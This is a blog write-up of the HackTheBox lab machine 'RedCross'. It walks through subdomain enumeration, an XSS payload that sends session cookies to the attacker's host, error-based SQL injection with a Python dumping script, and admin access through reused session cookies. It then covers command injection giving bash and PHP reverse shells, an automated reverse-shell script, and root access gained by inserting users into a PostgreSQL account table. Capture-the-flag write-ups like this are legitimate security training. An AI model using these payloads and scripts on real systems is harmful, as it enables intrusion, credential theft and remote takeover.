Home HackTheBox - RedCross
Post
Cancel

HackTheBox - RedCross

RedCross was a crazy box. Really interesting and I learned a lot from it. It’s a Medium Level Box from HackTheBox. It’s OS is Linux. I started just enumerating the website, and found good things.

We did a SQLInjection to get some users hashes, to login on the admin interface, we can do that by cookies also. After that we got multiple ways to get reverse shell.

The privilege escalation I did trough SQL queries, but can also be done with BOF in iptctl, which one I’ll do later.

Hope you enjoy it.

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster - Wfuzz| B(intra.redcross)
    B --> |Path 1 - XSS| C[Logged in intra.redcross]
    B --> |Path 2 - Create a Login as Guest| C[Logged in intra.redcross]
    C --> |Path 1 - SQLinjection - Charlie| D(Logged in admin.redcross)
    C --> |Path 2 - Guest cookie| D
    D --> |Firewall Rule| E[www-data shell]
    D --> |Haraka exploit| F[penelope shell]
    F --> |Find PSQL Creds| H[root shell]
    E --> |Find PSQL Creds| H[root shell]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.113

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

Once we found just the port 80 opened, so let’s focus on this one to enumerate it.

We open it on the browser and see what is being shown.

When tryied to access 10.10.10.113 on the browser, it is redirect to

So we add it on the /etc/hosts and try again

Looking at the source code we find a possible user, penelope

We see that it seems to be a php website, looking at how the url is structured.

Once we found a intra subdomain, is very useful if we try to bruteforce it to see if there are other subdomains in it

1
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://10.10.10.113 -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

We found admin and intra

Great.

We start a gobuster in it to enumerate the intra subdomain

1
gobuster dir -k -u https://intra.redcross.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,pdf -t 20

We perform another gobuster on the documentation folder

1
gobuster dir -k -u https://intra.redcross.htb/documentation -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,pdf -t 20

And we found an account-signup file in it. Which is very interesting.

Here we have two paths to get access to the box, I’ll explain both, and try to automate both of them

Path 1 - XSS

In the contact form, at https://intra.redcross.htb/?page=contact, if you try to enter script tags into the subject or the body, it spawns an error

The same thing does not happen if we try to poison the contact tag

1
<script src="http://10.10.14.20:9090/cookie.js"></script>

And the payload

1
2
3
4
5
6
7
function addTheImage() {
        var img = document.createElement('img');
        img.src = 'http://10.10.14.20:9090/' + document.cookie;
document.body.appendChild(img);
}

addTheImage();

Now we trigger it

And then, we get cookies!

PHPSESSID=2kd6l8mmkv3n4rfsh2slcma8u6

Now we just set it on the browser and get access to the admin panel

Path 2 - Create a Login

First we need to create e valid login on the application

We get guest:guest

Get logged in as Guest

SQLInjection

Now, if we try to put a ' on the UserID, we will se that it will trigger a SQL Error. Seems that we have a SQLInjection on this box

Now, let’s explore it

First, we must find a way to determine how the query is being mounted, based on the error message

We got a good post from Netspi which will help us

We get a query test on this website for getting the version and testing it

1
SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)

And we get the version of the database, which is great.

Now we can start the extraction of data from it

1
1') AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT username FROM users LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- -

Let’s mount a script in python to automate it and retrieve all the info I need

So, we’ll start with our python skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

import argparse
import requests
import sys

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-w', '--wordlist', help='Wordlist to be used', required=False)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

sqli_redcross.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
# Date: 2021-10-09
# Exploit Author: 0x4rt3mis
# Hack The Box - RedCross
# SQLInjection to Retrieve User Hashes

import argparse
import requests
import sys
import urllib3
import urllib

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings()

'''Here come the Functions'''

# First, we need to create a user on the app, to get logged in and access the SQLInjection
def login(rhost):
    # Get the cookies
    url = "https://intra.%s.htb:443/?page=contact" %rhost
    headers = {"Referer": "https://intra.redcross.htb/?page=login"}
    r.get(url, headers=headers, cookies=r.cookies, proxies=proxies, verify=False)
    # Now create a login fake
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"subject": "credentials", "body": "username=0x4rt3mis", "cback": "0x4rt3mis@email.com", "action": "contact"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)
    # Now, indeed login
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"user": "guest", "pass": "guest", "action": "login"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)

# Now let's exfiltrate it
def dataExfilDump(rhost):
    limit = 0
    columns = ['username','password']
    tables = ['users']
    while limit < 30:
        for table in tables:
            for column in columns:
                print("----")
                payload = urllib.parse.quote_plus("1') AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT %s FROM %s LIMIT %s,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- -" %(column,table,limit))
                url = "https://intra.%s.htb:443/?o="%rhost + payload + "&page=app&page=app"
                exfil = r.get(url, cookies=r.cookies, proxies=proxies, verify=False, allow_redirects=True)
                if "Duplicate" in exfil.text:
                    index = exfil.text.find("DEBUG INFO")
                    data = exfil.text[index:index+128].split('\'')[1][:-1][1:]
                    print("[+] %s [+]!"%column)
                    print(data)
                    column = column[+1]
                else:
                    print("[+] Gooooot it !!! [+]")
                    return
            limit = limit +1

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-d', '--dump',choices=('True','False'), help='Chosse between True and False for DUMP auto - DEFAULT FALSE')
    args = parser.parse_args()

    global flag
    flag = args.dump == 'True'
    rhost = args.target

    '''Here we call the functions'''
    # Make the login request to get cookies
    login(rhost)
    # Test if flag is seted and starting the sqlinjection to retrieve data
    if flag:
        dataExfilDump(rhost)
        
if __name__ == '__main__':
    main()

Now we bruteforce the charles password and found it

The password is cookiemonster

Charles Admin?!

Now we log in the app

If we try to access the admin page, we got an error

And be redirect to the login page.

However, if we take the cookie of guest or charles intra and set it as the PHPSESSID for admin, it works. We’ll go to the intra site logged in as charles and get it

Now we set it

And, when we reload the page, we got access

The same technique works with the guest cookie, meaning I could have skipped the SQLi all together.

So, we will do a python script to get there, just getting the guest/guest and seeting it as cookie to access the admin page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python3
# Date: 2021-10-09
# Exploit Author: 0x4rt3mis
# Hack The Box - RedCross
# Get access to admin page using guest cookies

import argparse
import requests
import sys
import urllib3
import urllib

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings()

'''Here come the Functions'''

# First, we need to create a user on the app, to get logged in and access the SQLInjection
def login(rhost):
    # Get the cookies
    url = "https://intra.%s.htb:443/?page=contact" %rhost
    headers = {"Referer": "https://intra.redcross.htb/?page=login"}
    r.get(url, headers=headers, cookies=r.cookies, proxies=proxies, verify=False)
    # Now create a login fake
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"subject": "credentials", "body": "username=0x4rt3mis", "cback": "0x4rt3mis@email.com", "action": "contact"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)
    # Now, indeed login
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"user": "guest", "pass": "guest", "action": "login"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)
    global cookie
    cookie = r.cookies['PHPSESSID']

def adminPageCookie(rhost):
    # Ok, let's clean the cokies
    # First we just log in as guest
    url = "https://admin.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"user": "guest", "pass": "guest", "action": "login"}
    r.post(url, headers=headers, cookies=r.cookies, data=data, verify=False, proxies=proxies, allow_redirects=True)
    # Clean the cookies
    r.cookies.clear()
    # Now, set the cookie from the guest, to get the access!
    r.cookies.set('PHPSESSID', cookie, path='/', domain='admin.redcross.htb')
    # Now get on the page
    url = "https://admin.%s.htb/?page=cpanel" %rhost
    r.get(url, proxies=proxies, verify=False, allow_redirects=True)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    rhost = args.target

    '''Here we call the functions'''
    # Make the login request to get cookies
    login(rhost)
    adminPageCookie(rhost)


if __name__ == '__main__':
    main()

Great, now we have the proper access to the admin page with the guest cookies seted

Penelope Shell

Now, we already have access to the admin page, we can start to get a reverse shell on this box

Open Firewall

First thing to do is enable the firewall rule on the website

Now, we see new ports opened on the box

Path 1: Haraka

We see the port 1025, we try to nc it

We look for exploits

1
searchsploit haraka

The only change we did on the exploit was on line 123, it was trying to connect on port 25, the correct is 1025 in this case.

Now, we execute and get a shell

1
python 41162.py -c "php -r '\$sock=fsockopen(\"10.10.14.20\",443);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" -t penelope@redcross.htb -m 10.10.10.113

Path 2: www-data

We can access the other panel of the admin page and see what we have there

We add a new user

We got credentials

0x4rt3mis : xL0ohUnj

We try ssh on the box

Got it

We are in a jail

For now, the only interesting thing I can find is in /home/public/src/iptctl.c

We can see the string “DEBUG: All checks passed… Executing iptables” and “Network access granted to %s\n”. it looks like this program is being called when I submit anything to the page, obsvisously I’ll not have access to the php source code to analyze it. But we can send it to burp and see how it’s being used.

And on the Deny

1
ip=10.10.14.20&id=13&action=deny

We suppos that the page is executing a command in the ip parameter, a bash one, so, if we put a semicolon on the end we can execute other commands

Yep, we got it

Now let’s test to our box with a reverse shell

1
ip=10.10.14.20%3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.20/443+0>%261'&id=13&action=deny

Now, let’s update our script to auto get this shell!!!

rev_www-data.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python3
# Date: 2021-10-09
# Exploit Author: 0x4rt3mis
# Hack The Box - RedCross
# Get auto reverse shell

import argparse
import requests
import sys
import urllib3
import urllib
import socket, telnetlib
from threading import Thread

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings()

'''Here come the Functions'''

# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# First, we need to create a user on the app, to get logged in and access the SQLInjection
def login(rhost):
    # Get the cookies
    url = "https://intra.%s.htb:443/?page=contact" %rhost
    headers = {"Referer": "https://intra.redcross.htb/?page=login"}
    r.get(url, headers=headers, cookies=r.cookies, proxies=proxies, verify=False)
    # Now create a login fake
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"subject": "credentials", "body": "username=0x4rt3mis", "cback": "0x4rt3mis@email.com", "action": "contact"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)
    # Now, indeed login
    url = "https://intra.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"user": "guest", "pass": "guest", "action": "login"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies, allow_redirects=True, verify=False)
    global cookie
    cookie = r.cookies['PHPSESSID']
    print("[+] Login as guest successssss!!!!! [+]")
    print("[+] PHPSSESID Got !!!!!! [+]")

def adminPageCookie(rhost):
    # Ok, let's clean the cokies
    # First we just log in as guest
    url = "https://admin.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"user": "guest", "pass": "guest", "action": "login"}
    r.post(url, headers=headers, cookies=r.cookies, data=data, verify=False, proxies=proxies, allow_redirects=True)
    # Clean the cookies
    r.cookies.clear()
    # Now, set the cookie from the guest, to get the access!
    r.cookies.set('PHPSESSID', cookie, path='/', domain='admin.redcross.htb')
    # Now get on the page
    url = "https://admin.%s.htb/?page=cpanel" %rhost
    r.get(url, proxies=proxies, verify=False, allow_redirects=True)
    print("[+] Admin loged in with poison coooooookies !!!! [+]")
    
def getReverseShell(rhost, lhost, lport):
    print("[+] Now, let's get a reverse www-data shell !!!!!!! [+]")
    payload = ";bash -c 'bash -i >& /dev/tcp/'" + lhost + "'/'" + lport + "' 0>&1'"
    url = "https://admin.%s.htb:443/pages/actions.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"ip": "%s" %payload, "action": "deny"}
    print("[+] Sheeeell Got !!!!! [+]")
    r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies, verify=False)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localhost', help='Local ip to receive the reverse shell', required=True)
    parser.add_argument('-lp', '--localport', help='Local port to receive the reverse shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localhost
    lport = args.localport
    
    '''Here we call the functions'''
    # Start the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Make the login request to get cookies
    login(rhost)
    # Become admin
    adminPageCookie(rhost)
    # Get www-data reverse shell
    getReverseShell(rhost, lhost, lport)

if __name__ == '__main__':
    main()

Penelope Shell

We can get a penelope shell too on this box

First we need to find postgresql Creds

With few greps looking for password we found something interesting in actions.php

1
cat ./actions.php -n | grep password --color

We found a particular good function in it

It seems to have the power to add users on the system… Which is very interesting!

We connect on the psql

1
psql -h 127.0.0.1 -U unixusrmgr -p 5432 -d unix

We found the structure of the passwd_table

So, we can add a user with the same id as penelope, and get it

We generate our password

1
openssl passwd -1 0x4rt3mis

insert into passwd_table (username, passwd, gid, homedir) values ('pene0x4rt3mis', '$1$HW2gdUaa$x1.3nBELapjD3I4EMAvbU/', 1000, '/home/penelope');

Now, we ssh in it

Got.

Root Shell

Now, we can set it also to root user

Sudo Group

We will create another user, this time with the sudoers group, which is 27:

insert into passwd_table (username, passwd, gid, homedir) values ('root0x4rt3mis', '$1$HW2gdUaa$x1.3nBELapjD3I4EMAvbU/', 27, '/home/penelope');

Now, ssh in it

We can also add an user with the root id, we have a lot of options here. I’ll now show all of them.

BOF in iptctl

We have another way to get it by BOF in iptctl.

We can explore it also. I’ll not show it here now for a matter of time. I’ll come back here in the future and update it.

Source Code Analysis

We can also do some kind of static code analysis in this box.

SQLInjection Detail

We could look for this SQLInjection on this box

We could start looking for every place where we have GET, POST or REQUEST.

1
grep -n -R -i '$_[GPR].*\[' .

We find few options.

Let’s resume it more

1
grep -l -e "GET['o']" $(grep -l -e SELECT `grep -rl -e '$_[GPR].*\[' .`)

We got just one!

If we look on how the query to trigger the SQLInjection is built, we see a “o” parameter in the GET request

Sure, now we already know what to look for on the code, where this “o” variable are being mounted

We know that it’s being triggered on this app.php file

We see on line 19 it looks to see if the AUTH is seted, if it’s seted it continues to line 25, where see if the parameter O is seted, if is seted it is passed to the SELECT query. So, it’s not being sanitized anywhere, what we put on the O variable, is going to be triggered on the mysql!

Great, we already know where is the injection point. And we can start playing with it.

We got a very good blog from NetSpi which explains how it works. And we see the payload to test the Error Based SQLInjection in MYSQL.

1
SELECT extractvalue(rand(),concat(0x3a,(select version())))

So we mount the query and after some tests, we got it

1
1')+AND+(SELECT+extractvalue(rand(),concat(0x3a,(select+version()))))--+-

After that I started to build my script to automate it.

This post is licensed under CC BY 4.0 by the author.